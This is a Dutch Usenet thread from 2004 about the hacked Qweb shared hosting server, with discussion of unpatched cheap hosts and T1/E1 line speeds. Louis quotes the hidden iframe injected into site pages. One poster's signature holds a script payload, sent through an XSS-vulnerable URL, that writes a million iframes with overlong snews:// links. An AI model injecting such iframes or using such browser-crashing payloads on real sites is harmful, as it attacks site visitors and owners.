Qweb gehackt.

[Louis]

Hallo mensen,

Gisteravond is mijn site door een hacker aangepast. De site draaide op
de mustang server van Qweb. De regel "<IFRAME
SRC="http://www.forced-action.com/" WIDTH=1 HEIGHT=1></IFRAME>" was
toegevoegd in verschillende index pagina's waaronder de homepagina. Er
wordt hierdoor een applet geladen, ik heb het niet verder onderzocht.

Later heb ik ontdekt dat vele (alle?) andere sites op deze server ook
aangepast zijn. Op het moment dat ik dit schrijf zijn er nog steeds
sites op die mustang server die deze regel hebben. Kijk bijvoorbeeld
eens de source van de homepagina van http://www.bashengeveld.nl.

Mijn site is nu verplaatst naar een andere server. Ik heb echter geen
enkel vertrouwen dat deze wel veilig is, omdat QWeb het blijkbaar
acceptabel vindt om een onveilige server in productie te houden.

Laatst heeft een collega van mij een Nessus scan gedaan op een server
van een andere goedkope Nederlandse hosting provider en deze bleek ook
zo lek als een mandje. Nessus gaf maar liefst 19 high severity
meldingen (19 high, 57 low en 12 informational). Dit kwam omdat men
software draaide zonder de nieuwste patches. Een hacker kan dan vrij
makkelijk binnenkomen en soms zelfs root rechten krijgen. En jij maar
denken dat je web winkeltje of je email correspondentie veilig was...

Om een onveilige server in productie te hebben vind ik een
onacceptabele manier van werken.

Louis.

[Carel]

Louis wrote:
>
> Om een onveilige server in productie te hebben vind ik een
> onacceptabele manier van werken.

You get what you pay for denk ik dan. Trouwens ook vreemd dat je zo
maar kan zien wat er nog meer voor websites op die shared server
staan. Ook vreemd dat Qweb T3's en T1's in Amsterdam heeft. Volgens
mij zijn dat Amerikaanse lijnen, die hier niet bestaan.

Carel

[Hans]

On Fri, 06 Feb 2004 20:52:10 +0100, Louis <louis@despammed.com> wrote:

> Laatst heeft een collega van mij een Nessus scan gedaan op een server
> van een andere goedkope Nederlandse hosting provider en deze bleek ook
> zo lek als een mandje. Nessus gaf maar liefst 19 high severity
> meldingen (19 high, 57 low en 12 informational). Dit kwam omdat men
> software draaide zonder de nieuwste patches. Een hacker kan dan vrij
> makkelijk binnenkomen en soms zelfs root rechten krijgen. En jij maar
> denken dat je web winkeltje of je email correspondentie veilig was...
>
> Om een onveilige server in productie te hebben vind ik een
> onacceptabele manier van werken.

Klopt, maar gebruikers die een willekeurig webwinkeltje installeren maken
vaak zelfs de meest beveiligde kluizen tot pretparken voor hackers.

Hans (heeft overigens niets te maken met die provider).

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

[djfox741]

Louis wrote:
| Hallo mensen,
|
| Gisteravond is mijn site door een hacker aangepast. De site draaide op
| de mustang server van Qweb. De regel "<IFRAME
| SRC="http://www.forced-action.com/" WIDTH=1 HEIGHT=1></IFRAME>" was
| toegevoegd in verschillende index pagina's waaronder de homepagina. Er
| wordt hierdoor een applet geladen, ik heb het niet verder onderzocht.
|
| Later heb ik ontdekt dat vele (alle?) andere sites op deze server ook
| aangepast zijn. Op het moment dat ik dit schrijf zijn er nog steeds
| sites op die mustang server die deze regel hebben. Kijk bijvoorbeeld
| eens de source van de homepagina van http://www.bashengeveld.nl.
|
| Mijn site is nu verplaatst naar een andere server. Ik heb echter geen
| enkel vertrouwen dat deze wel veilig is, omdat QWeb het blijkbaar
| acceptabel vindt om een onveilige server in productie te houden.
|
| Laatst heeft een collega van mij een Nessus scan gedaan op een server
| van een andere goedkope Nederlandse hosting provider en deze bleek ook
| zo lek als een mandje. Nessus gaf maar liefst 19 high severity
| meldingen (19 high, 57 low en 12 informational). Dit kwam omdat men
| software draaide zonder de nieuwste patches. Een hacker kan dan vrij
| makkelijk binnenkomen en soms zelfs root rechten krijgen. En jij maar
| denken dat je web winkeltje of je email correspondentie veilig was...
|
| Om een onveilige server in productie te hebben vind ik een
| onacceptabele manier van werken.
|
| Louis.

Wat ik je voor tip kan geven is dit, zelf zit ik bij http://www.nxs.nl die
draaien op de nieuwste spullen en in eigen beheer, ga daar eens kijken en
weet zeker dat het je zal bevallen, zijn geen kleine jongens en de prijs
denk ik ook wel zal vallen, succes ...
--
Tot zover maar weer ... ;-)
djfox741 -- (E-mail is Fake!!!)
__________________________________________________

[erik]

Louis wrote:

> Hallo mensen,
>

[knip gehackte server, what's new]

>
> Laatst heeft een collega van mij een Nessus scan gedaan op een server
> van een andere goedkope Nederlandse hosting provider en deze bleek ook
> zo lek als een mandje. Nessus gaf maar liefst 19 high severity
> meldingen (19 high, 57 low en 12 informational). Dit kwam omdat men
> software draaide zonder de nieuwste patches. Een hacker kan dan vrij
> makkelijk binnenkomen en soms zelfs root rechten krijgen. En jij maar
> denken dat je web winkeltje of je email correspondentie veilig was...

Webwinkeltjes zijn niet veilig te krijgen.

>
> Om een onveilige server in productie te hebben vind ik een
> onacceptabele manier van werken.

Noem mij 1 provider die geen onveilige server heeft. Hint: iedere
service die je draait is principieel onveilig...

EJ
--
Remove the obvious part (including the dot) for my email address.
http://www.vanwesten.net for examples of ipf and pf.

[Erik Hensema]

Carel (carel@xs4all.nl) wrote:
> Louis wrote:
>>
>> Om een onveilige server in productie te hebben vind ik een
>> onacceptabele manier van werken.
>
> You get what you pay for denk ik dan. Trouwens ook vreemd dat je zo
> maar kan zien wat er nog meer voor websites op die shared server
> staan. Ook vreemd dat Qweb T3's en T1's in Amsterdam heeft. Volgens
> mij zijn dat Amerikaanse lijnen, die hier niet bestaan.

Dat klopt. In europa heb je wel een E1, wat ongeveer overeenkomt
met een T1. Het is alleen sneller, omdat je hier tijdsloten hebt
van 64 kbit en daar van 56 kbit.

--
Erik Hensema (erik@hensema.net) ICQ# 8280101
Quoting-HOWTO: http://www.leerquoten.nl

[Miquel van Smoorenburg]

In article <slrnc28b5r.u0q.usenet@dexter.hensema.net>,
Erik Hensema <erik@hensema.net> wrote:
>Carel (carel@xs4all.nl) wrote:
>> Louis wrote:
>>>
>>> Om een onveilige server in productie te hebben vind ik een
>>> onacceptabele manier van werken.
>>
>> You get what you pay for denk ik dan. Trouwens ook vreemd dat je zo
>> maar kan zien wat er nog meer voor websites op die shared server
>> staan. Ook vreemd dat Qweb T3's en T1's in Amsterdam heeft. Volgens
>> mij zijn dat Amerikaanse lijnen, die hier niet bestaan.
>
>Dat klopt. In europa heb je wel een E1, wat ongeveer overeenkomt
>met een T1. Het is alleen sneller, omdat je hier tijdsloten hebt
>van 64 kbit en daar van 56 kbit.

Klok .. klepel. T1 = 24*64 kbit/sec, E1 = 32*64 kbit/sec

Dat 64/56 verhaal gaat alleen op als je het hebt over
voice/isdn en robbed bit signalling over T1 links met
24 datachannels ipv 23+1.

Mike,

[Alain]

Louis schreef:

> Mijn site is nu verplaatst naar een andere server. Ik heb
> echter geen enkel vertrouwen dat deze wel veilig is,
> omdat QWeb het blijkbaar acceptabel vindt om een
> onveilige server in productie te houden.


Geen enkele webserver is echt 100% veilig, de vraag is
natuurlijk of het betreffende bedrijf wel de benodigde
security updates heeft gedaan om te zorgen dat de server zo
veilig mogelijk is. Maar het is een illusie dat een
webserver 100% hackproof is. Als iemand persee ergens in
wil, en hij heeft de skills ervoor, dan komt hij er vroeg of
laat wel in.

> Laatst heeft een collega van mij een Nessus scan gedaan
> op een server van een andere goedkope Nederlandse hosting
> provider en deze bleek ook zo lek als een mandje. Nessus
> gaf maar liefst 19 high severity meldingen (19 high, 57
> low en 12 informational). Dit kwam omdat men software
> draaide zonder de nieuwste patches. Een hacker kan dan
> vrij makkelijk binnenkomen en soms zelfs root rechten
> krijgen. En jij maar denken dat je web winkeltje of je
> email correspondentie veilig was...


Tja, veel van die goedkope host bedrijfjes draaien op 1 man,
vaak ook nog iemand die overdag op school zit en eigenlijk
totaal geen idee heeft waar hij mee bezig is. Die huurt dan
een stukje van een server of een rackshack server met een
control panel, en drukt af en toe op 'add domain' en dan is
hij klaar. Denkt ie. Als je een bedrijf wilt die wat meer er
van snapt dan het bedienen van een control panel, dan moet
je daar echt naar opzoek en zit je over het algemeen niet
meer in de 'goedkoop' prijsklasse.

Het totaal up 2 date houden van een systeem is trouwens niet
gemakkelijk, vooral in de zin van tijd. Als je bijvoorbeeld
50 servers hebt draaien, en ze draaien allemaal een lekke
mysql versie, dan moet je die dus bij allemaal updaten. En
op zo'n manier dat er zo min mogelijk downtijd is en het
niet zo is dat ineens dingen die ooit wel werkten, ineens
niet meer werken. Kost soms flink wat tijd.

> Om een onveilige server in productie te hebben vind ik een
> onacceptabele manier van werken.


Op 't moment de server onveilig is omdat je software versies
draait waarvan bekend is dat ze onveilig zijn, en deze ook
nog eens niet gepatched ofzo zijn, dan is dat inderdaad
onacceptabel. Let wel dat je soms best een insecure software
versie kan draaien, soms kan je insecure software secure
maken door een niet-essentieel onderdeel v.d. software uit
te schakelen of niet te gebruiken. Versies zeggen dus niet
helemaal alles.



--
Alain

spamsux.nl

[Alain]

Hans schreef:

> Klopt, maar gebruikers die een willekeurig webwinkeltje
> installeren maken vaak zelfs de meest beveiligde kluizen
> tot pretparken voor hackers.



Als een webserver goed dicht zit, dan kan een willekeurig
webwinkeltje echt niet een complete server tot pretpark voor
hackers maken. Hooguit de betreffende virtual-server ('t
account waar het webwinkeltje opstaat dus) en de
facaliteiten die er zijn voor een virtual-server (zoals een
smtp server).


--
Alain

spamsux.nl

[Maarten]

Louis <louis@despammed.com> wrote in
news:mgq720tphbod3tbheph0ev0jhdhlbg96au@4ax.com:

> Mijn site is nu verplaatst naar een andere server. Ik heb echter geen
> enkel vertrouwen dat deze wel veilig is, omdat QWeb het blijkbaar
> acceptabel vindt om een onveilige server in productie te houden.

QWeb is al een paar keer gehacked, zelf heb ik ze hier ook al een paar keer
op geattendeerd. Ze dichten dan wel hetgeen waar je op wijst, maar zoeken
niet even verder.

Ik heb er toevallig zelf ook een klant zitten, maar zal die website op
korte termijn gaan verhuizen naar een provider die het niet teveel moeite
vind om een webserver regelmatig te patchen. Overigens reageren ze verder
wel snel op mailtjes enzo, dat is dan wel weer merkwaardig.

--
Maarten

The difference between theory and practice in practice is greater than the
difference between theory and practice in theory.